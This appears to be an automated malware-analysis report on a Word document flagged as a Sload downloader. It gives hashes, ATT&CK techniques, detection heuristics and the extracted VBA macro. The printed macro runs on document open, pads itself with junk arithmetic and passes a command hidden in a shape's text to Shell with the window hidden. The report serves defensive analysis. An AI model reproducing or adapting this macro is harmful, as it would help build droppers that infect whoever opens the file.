Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 7b24f8e0b67e19bb…

MALICIOUS

Office (OLE)

77.4 KB Created: 2018-11-06 17:33:00 Authoring application: Microsoft Office Word First seen: 2019-11-20
MD5: f93d6fa3213e4ee4af289d9b2658af98 SHA-1: fffe455520ddc68e4f7a56a053efc78a208eb384 SHA-256: 7b24f8e0b67e19bb4939ccb4bcc81c897070610fbf2fc6bd7d94be2f563ca56d
210 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1059.003 Windows Command Shell T1566.001 Spearphishing Attachment

The sample contains a Document_Open VBA macro that executes a heavily obfuscated PowerShell command. This command decodes and executes a second-stage payload, as indicated by the use of PowerShell and the `cmd.exe /c` invocation. The presence of the `CLAMAV_DETECTION: Doc.Downloader.Sload-6743946-0` heuristic strongly suggests a downloader functionality.

Heuristics 7

  • ClamAV: Doc.Downloader.Sload-6743946-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Sload-6743946-0
  • Suspicious cmd.exe invocation with execution flag high SC_STR_CMD
    Suspicious cmd.exe invocation with execution flag
  • Reference to PowerShell high SC_STR_POWERSHELL
    Reference to PowerShell
  • LOLBin token sequence in document text high SE_LOLBIN_RUN_COMMAND
    Extracted document text contains a Windows script/execution tool name (PowerShell, mshta, cmd, rundll32, regsvr32, …) within 220 characters of a dangerous flag, command verb, or URL. This is a visible 'run this' instruction in HTML/PDF/RTF lure bodies, or — in macro-laden Office files — the macro's own string-pool entries appearing adjacent in extracted text.
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Attribute VB_Customizable = True
Private Sub Document_open()
On Error Resume Next
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1123 bytes
SHA-256: bfc412f944e2ea5526b71091679d9b8404130be860c500ee1510156013e005f1
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Xsjdqwod"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_open()
On Error Resume Next
   qfzir = iIhNqU + YjTiCd + oCSmta + IncQz * HbkVUw + NHHDG + wUzzV + asioMM / QOWUEz + drzwwJ
   fqbQr = LHdPVM + Acopt + uAcIwR + OqLcK / QvCZif + LDiDrd * (mYwjwa + iGChdz)
   huOfp = (DJoHZX + YmYIjf + qmCGN + FWCAMk / (ZBtzh + nLNjzX + fTLYq + aCcus / (RPYjG + upFYXs)))
   VvBFp = GwDJKS + qWYQV * aqtffj + ioArBf / oijCmn + jatXlH + rkdRI + EjbQV / DNSzL + fWiIm + ihHuP + HtbPq
   nsudFE = (sulLiK + KPzGBo + jOiHt + iPGvS) * PlhHwp + ZZUmUb
Const QEUfhVAKnOA = 72163463 - 72163463
Shell@ Shapes(1).TextFrame.TextRange.Text + sUsHGTj + UNdhPGl, QEUfhVAKnOA
   wPpAEJ = uPQij + qwDCKd + Ufibb + vlYzVC * hNiGsr + wPVcTG / (tXnoYi + HTkOZ)
   zHmaDJ = bIcun + OblOK * aBTqOz + jlTsnq + IFPnS + ipfKE / wzwBw + wGOhd
   cQdfI = (oENOJ + zwtwl / (JltBp + kWrrjL))
End Sub

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